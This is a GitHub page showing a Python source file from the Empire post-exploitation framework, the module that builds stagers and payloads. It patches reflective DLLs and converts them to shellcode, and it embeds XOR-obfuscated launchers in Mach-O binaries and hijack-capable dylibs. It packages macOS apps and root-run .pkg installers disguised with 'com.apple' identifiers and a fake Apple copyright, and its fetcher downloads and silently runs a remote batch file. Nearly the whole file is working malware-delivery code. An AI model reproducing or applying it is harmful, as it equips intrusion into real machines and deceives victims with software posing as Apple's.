Permalink
Cannot retrieve contributors at this time
Join GitHub today
GitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.
Sign up
Fetching contributors…
Cannot retrieve contributors at this time
| """ | |
| Functionality that loads Empire stagers, sets generic stager options, | |
| and abstracts the invocation of launcher generation. | |
| The Stagers() class in instantiated in ./empire.py by the main menu and includes: | |
| load_stagers() - loads stagers from the install path | |
| set_stager_option() - sets and option for all stagers | |
| generate_launcher() - abstracted functionality that invokes the generate_launcher() method for a given listener | |
| generate_dll() - generates a PowerPick Reflective DLL to inject with base64-encoded stager code | |
| generate_macho() - generates a macho binary with an embedded python interpreter that runs the launcher code | |
| generate_dylib() - generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application | |
| """ | |
| import fnmatch | |
| import imp | |
| import helpers | |
| import errno | |
| import os | |
| import errno | |
| import macholib.MachO | |
| import shutil | |
| import zipfile | |
| import subprocess | |
| from itertools import izip, cycle | |
| from ShellcodeRDI import * | |
| import base64 | |
| class Stagers: | |
| def __init__(self, MainMenu, args): | |
| self.mainMenu = MainMenu | |
| self.args = args | |
| # stager module format: | |
| # [ ("stager_name", instance) ] | |
| self.stagers = {} | |
| self.load_stagers() | |
| def load_stagers(self): | |
| """ | |
| Load stagers from the install + "/lib/stagers/*" path | |
| """ | |
| rootPath = "%s/lib/stagers/" % (self.mainMenu.installPath) | |
| pattern = '*.py' | |
| print helpers.color("[*] Loading stagers from: %s" % (rootPath)) | |
| for root, dirs, files in os.walk(rootPath): | |
| for filename in fnmatch.filter(files, pattern): | |
| filePath = os.path.join(root, filename) | |
| # don't load up any of the templates | |
| if fnmatch.fnmatch(filename, '*template.py'): | |
| continue | |
| # extract just the module name from the full path | |
| stagerName = filePath.split("/lib/stagers/")[-1][0:-3] | |
| # instantiate the module and save it to the internal cache | |
| self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, []) | |
| def set_stager_option(self, option, value): | |
| """ | |
| Sets an option for all stagers. | |
| """ | |
| for name, stager in self.stagers.iteritems(): | |
| for stagerOption,stagerValue in stager.options.iteritems(): | |
| if stagerOption == option: | |
| stager.options[option]['Value'] = str(value) | |
| def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '): | |
| #TODO add handle for other than powershell language | |
| stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;' | |
| if encode: | |
| return helpers.powershell_launcher(stager, launcher) | |
| else: | |
| return stager | |
| def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'): | |
| """ | |
| Abstracted functionality that invokes the generate_launcher() method for a given listener, | |
| if it exists. | |
| """ | |
| if not listenerName in self.mainMenu.listeners.activeListeners: | |
| print helpers.color("[!] Invalid listener: %s" % (listenerName)) | |
| return '' | |
| activeListener = self.mainMenu.listeners.activeListeners[listenerName] | |
| launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks) | |
| if launcherCode: | |
| return launcherCode | |
| def generate_dll(self, poshCode, arch): | |
| """ | |
| Generate a PowerPick Reflective DLL to inject with base64-encoded stager code. | |
| """ | |
| #read in original DLL and patch the bytes based on arch | |
| if arch.lower() == 'x86': | |
| origPath = "%s/data/misc/ReflectivePick_x86_orig.dll" % (self.mainMenu.installPath) | |
| else: | |
| origPath = "%s/data/misc/ReflectivePick_x64_orig.dll" % (self.mainMenu.installPath) | |
| if os.path.isfile(origPath): | |
| dllRaw = '' | |
| with open(origPath, 'rb') as f: | |
| dllRaw = f.read() | |
| replacementCode = helpers.decode_base64(poshCode) | |
| # patch the dll with the new PowerShell code | |
| searchString = (("Invoke-Replace").encode("UTF-16"))[2:] | |
| index = dllRaw.find(searchString) | |
| dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):] | |
| return dllPatched | |
| else: | |
| print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch)) | |
| def generate_shellcode(self, poshCode, arch): | |
| """ | |
| Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL | |
| """ | |
| if arch.lower() == 'x86': | |
| origPath = "{}/data/misc/x86_slim.dll".format(self.mainMenu.installPath) | |
| else: | |
| origPath = "{}/data/misc/x64_slim.dll".format(self.mainMenu.installPath) | |
| if os.path.isfile(origPath): | |
| dllRaw = '' | |
| with open(origPath, 'rb') as f: | |
| dllRaw = f.read() | |
| replacementCode = helpers.decode_base64(poshCode) | |
| # patch the dll with the new PowerShell code | |
| searchString = (("Invoke-Replace").encode("UTF-16"))[2:] | |
| index = dllRaw.find(searchString) | |
| dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):] | |
| flags = 0 | |
| flags |= 0x1 | |
| sc = ConvertToShellcode(dllPatched) | |
| return sc | |
| else: | |
| print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch)) | |
| def generate_macho(self, launcherCode): | |
| """ | |
| Generates a macho binary with an embedded python interpreter that runs the launcher code. | |
| """ | |
| MH_EXECUTE = 2 | |
| f = open("%s/data/misc/machotemplate" % (self.mainMenu.installPath), 'rb') | |
| # f = open(self.installPath + "/data/misc/machotemplate", 'rb') | |
| macho = macholib.MachO.MachO(f.name) | |
| if int(macho.headers[0].header.filetype) != MH_EXECUTE: | |
| print helpers.color("[!] Macho binary template is not the correct filetype") | |
| return "" | |
| cmds = macho.headers[0].commands | |
| for cmd in cmds: | |
| count = 0 | |
| if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64: | |
| count += 1 | |
| if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0: | |
| count += 1 | |
| for section in cmd[count]: | |
| if section.sectname.strip('\x00') == '__cstring': | |
| offset = int(section.offset) + (int(section.size) - 2119) | |
| placeHolderSz = int(section.size) - (int(section.size) - 2119) | |
| template = f.read() | |
| f.close() | |
| if placeHolderSz and offset: | |
| key = 'subF' | |
| launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(launcherCode, cycle(key))) | |
| launcherCode = base64.urlsafe_b64encode(launcherCode) | |
| launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) | |
| patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):] | |
| return patchedMachO | |
| else: | |
| print helpers.color("[!] Unable to patch MachO binary") | |
| def generate_dylib(self, launcherCode, arch, hijacker): | |
| """ | |
| Generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application. | |
| """ | |
| import macholib.MachO | |
| MH_DYLIB = 6 | |
| if hijacker.lower() == 'true': | |
| if arch == 'x86': | |
| f = open("%s/data/misc/hijackers/template.dylib" % (self.mainMenu.installPath), 'rb') | |
| else: | |
| f = open("%s/data/misc/hijackers/template64.dylib" % (self.mainMenu.installPath), 'rb') | |
| else: | |
| if arch == 'x86': | |
| f = open("%s/data/misc/templateLauncher.dylib" % (self.mainMenu.installPath), 'rb') | |
| else: | |
| f = open("%s/data/misc/templateLauncher64.dylib" % (self.mainMenu.installPath), 'rb') | |
| macho = macholib.MachO.MachO(f.name) | |
| if int(macho.headers[0].header.filetype) != MH_DYLIB: | |
| print helpers.color("[!] Dylib template is not the correct filetype") | |
| return "" | |
| cmds = macho.headers[0].commands | |
| for cmd in cmds: | |
| count = 0 | |
| if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT: | |
| count += 1 | |
| if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0: | |
| count += 1 | |
| for section in cmd[count]: | |
| if section.sectname.strip('\x00') == '__cstring': | |
| offset = int(section.offset) | |
| placeHolderSz = int(section.size) - 52 | |
| template = f.read() | |
| f.close() | |
| if placeHolderSz and offset: | |
| launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) | |
| patchedDylib = template[:offset]+launcher+template[(offset+len(launcher)):] | |
| return patchedDylib | |
| else: | |
| print helpers.color("[!] Unable to patch dylib") | |
| def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm): | |
| """ | |
| Generates an application. The embedded executable is a macho binary with the python interpreter. | |
| """ | |
| MH_EXECUTE = 2 | |
| if Arch == 'x64': | |
| f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher") | |
| directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/" | |
| else: | |
| f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher") | |
| directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/" | |
| macho = macholib.MachO.MachO(f.name) | |
| if int(macho.headers[0].header.filetype) != MH_EXECUTE: | |
| print helpers.color("[!] Macho binary template is not the correct filetype") | |
| return "" | |
| cmds = macho.headers[0].commands | |
| for cmd in cmds: | |
| count = 0 | |
| if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT: | |
| count += 1 | |
| if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0: | |
| count += 1 | |
| for section in cmd[count]: | |
| if section.sectname.strip('\x00') == '__cstring': | |
| offset = int(section.offset) | |
| placeHolderSz = int(section.size) - 52 | |
| template = f.read() | |
| f.close() | |
| if placeHolderSz and offset: | |
| launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) | |
| patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):] | |
| if AppName == "": | |
| AppName = "launcher" | |
| tmpdir = "/tmp/application/%s.app/" % AppName | |
| shutil.copytree(directory, tmpdir) | |
| f = open(tmpdir + "Contents/MacOS/launcher","wb") | |
| if disarm != True: | |
| f.write(patchedBinary) | |
| f.close() | |
| else: | |
| t = open(self.mainMenu.installPath+"/data/misc/apptemplateResources/empty/macho",'rb') | |
| w = t.read() | |
| f.write(w) | |
| f.close() | |
| t.close() | |
| os.rename(tmpdir + "Contents/MacOS/launcher",tmpdir + "Contents/MacOS/%s" % AppName) | |
| os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0755) | |
| if icon != '': | |
| iconfile = os.path.splitext(icon)[0].split('/')[-1] | |
| shutil.copy2(icon,tmpdir+"Contents/Resources/"+iconfile+".icns") | |
| else: | |
| iconfile = icon | |
| appPlist = """<?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
| <plist version="1.0"> | |
| <dict> | |
| <key>BuildMachineOSBuild</key> | |
| <string>15G31</string> | |
| <key>CFBundleDevelopmentRegion</key> | |
| <string>en</string> | |
| <key>CFBundleExecutable</key> | |
| <string>%s</string> | |
| <key>CFBundleIconFile</key> | |
| <string>%s</string> | |
| <key>CFBundleIdentifier</key> | |
| <string>com.apple.%s</string> | |
| <key>CFBundleInfoDictionaryVersion</key> | |
| <string>6.0</string> | |
| <key>CFBundleName</key> | |
| <string>%s</string> | |
| <key>CFBundlePackageType</key> | |
| <string>APPL</string> | |
| <key>CFBundleShortVersionString</key> | |
| <string>1.0</string> | |
| <key>CFBundleSignature</key> | |
| <string>????</string> | |
| <key>CFBundleSupportedPlatforms</key> | |
| <array> | |
| <string>MacOSX</string> | |
| </array> | |
| <key>CFBundleVersion</key> | |
| <string>1</string> | |
| <key>DTCompiler</key> | |
| <string>com.apple.compilers.llvm.clang.1_0</string> | |
| <key>DTPlatformBuild</key> | |
| <string>7D1014</string> | |
| <key>DTPlatformVersion</key> | |
| <string>GM</string> | |
| <key>DTSDKBuild</key> | |
| <string>15E60</string> | |
| <key>DTSDKName</key> | |
| <string>macosx10.11</string> | |
| <key>DTXcode</key> | |
| <string>0731</string> | |
| <key>DTXcodeBuild</key> | |
| <string>7D1014</string> | |
| <key>LSApplicationCategoryType</key> | |
| <string>public.app-category.utilities</string> | |
| <key>LSMinimumSystemVersion</key> | |
| <string>10.11</string> | |
| <key>LSUIElement</key> | |
| <true/> | |
| <key>NSHumanReadableCopyright</key> | |
| <string>Copyright 2016 Apple. All rights reserved.</string> | |
| <key>NSMainNibFile</key> | |
| <string>MainMenu</string> | |
| <key>NSPrincipalClass</key> | |
| <string>NSApplication</string> | |
| </dict> | |
| </plist> | |
| """ % (AppName, iconfile, AppName, AppName) | |
| f = open(tmpdir+"Contents/Info.plist", "w") | |
| f.write(appPlist) | |
| f.close() | |
| shutil.make_archive("/tmp/launcher", 'zip', "/tmp/application") | |
| shutil.rmtree('/tmp/application') | |
| f = open("/tmp/launcher.zip","rb") | |
| zipbundle = f.read() | |
| f.close() | |
| os.remove("/tmp/launcher.zip") | |
| return zipbundle | |
| else: | |
| print helpers.color("[!] Unable to patch application") | |
| def generate_pkg(self, launcher, bundleZip, AppName): | |
| #unzip application bundle zip. Copy everything for the installer pkg to a temporary location | |
| currDir = os.getcwd() | |
| os.chdir("/tmp/") | |
| f = open("app.zip","wb") | |
| f.write(bundleZip) | |
| f.close() | |
| zipf = zipfile.ZipFile('app.zip','r') | |
| zipf.extractall() | |
| zipf.close() | |
| os.remove('app.zip') | |
| os.system("cp -r "+self.mainMenu.installPath+"/data/misc/pkgbuild/ /tmp/") | |
| os.chdir("pkgbuild") | |
| os.system("cp -r ../"+AppName+".app root/Applications/") | |
| os.system("chmod +x root/Applications/") | |
| os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload") | |
| os.system("chmod +x expand/Payload") | |
| s = open('scripts/postinstall','r+') | |
| script = s.read() | |
| script = script.replace('LAUNCHER',launcher) | |
| s.seek(0) | |
| s.write(script) | |
| s.close() | |
| os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts") | |
| os.system("chmod +x expand/Scripts") | |
| numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n') | |
| size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0] | |
| size = int(size) / 1024 | |
| p = open('expand/PackageInfo','w+') | |
| pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?> | |
| <pkg-info overwrite-permissions="true" relocatable="false" identifier="com.apple.APPNAME" postinstall-action="none" version="1.0" format-version="2" generator-version="InstallCmds-554 (15G31)" install-location="/" auth="root"> | |
| <payload numberOfFiles="KEY1" installKBytes="KEY2"/> | |
| <bundle path="./APPNAME.app" id="com.apple.APPNAME" CFBundleShortVersionString="1.0" CFBundleVersion="1"/> | |
| <bundle-version> | |
| <bundle id="com.apple.APPNAME"/> | |
| </bundle-version> | |
| <upgrade-bundle> | |
| <bundle id="com.apple.APPNAME"/> | |
| </upgrade-bundle> | |
| <update-bundle/> | |
| <atomic-update-bundle/> | |
| <strict-identifier> | |
| <bundle id="com.apple.APPNAME"/> | |
| </strict-identifier> | |
| <relocate> | |
| <bundle id="com.apple.APPNAME"/> | |
| </relocate> | |
| <scripts> | |
| <postinstall file="./postinstall"/> | |
| </scripts> | |
| </pkg-info> | |
| """ | |
| pkginfo = pkginfo.replace('APPNAME',AppName) | |
| pkginfo = pkginfo.replace('KEY1',numFiles) | |
| pkginfo = pkginfo.replace('KEY2',str(size)) | |
| p.write(pkginfo) | |
| p.close() | |
| os.system("mkbom -u 0 -g 80 root expand/Bom") | |
| os.system("chmod +x expand/Bom") | |
| os.system("chmod -R 755 expand/") | |
| os.system('( cd expand && xar --compression none -cf "../launcher.pkg" * )') | |
| f = open('launcher.pkg','rb') | |
| package = f.read() | |
| os.chdir("/tmp/") | |
| shutil.rmtree('pkgbuild') | |
| shutil.rmtree(AppName+".app") | |
| return package | |
| def generate_jar(self, launcherCode): | |
| file = open(self.mainMenu.installPath+'data/misc/Run.java','r') | |
| javacode = file.read() | |
| file.close() | |
| javacode = javacode.replace("LAUNCHER",launcherCode) | |
| jarpath = self.mainMenu.installPath+'data/misc/classes/com/installer/apple/' | |
| try: | |
| os.makedirs(jarpath) | |
| except OSError as e: | |
| if e.errno != errno.EEXIST: | |
| raise | |
| else: | |
| pass | |
| file = open(jarpath+'Run.java','w') | |
| file.write(javacode) | |
| file.close() | |
| currdir = os.getcwd() | |
| os.chdir(self.mainMenu.installPath+'data/misc/classes/') | |
| os.system('javac com/installer/apple/Run.java') | |
| os.system('jar -cfe '+self.mainMenu.installPath+'Run.jar com.installer.apple.Run com/installer/apple/Run.class') | |
| os.chdir(currdir) | |
| os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.class') | |
| os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java') | |
| jarfile = open('Run.jar','rb') | |
| jar = jarfile.read() | |
| jarfile.close() | |
| os.remove('Run.jar') | |
| return jar | |
| def generate_upload(self, file, path): | |
| script = """ | |
| $b64 = "BASE64_BLOB_GOES_HERE" | |
| $filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE" | |
| [IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64)) | |
| """ | |
| file_encoded = base64.b64encode(file) | |
| script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded) | |
| script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path) | |
| return script |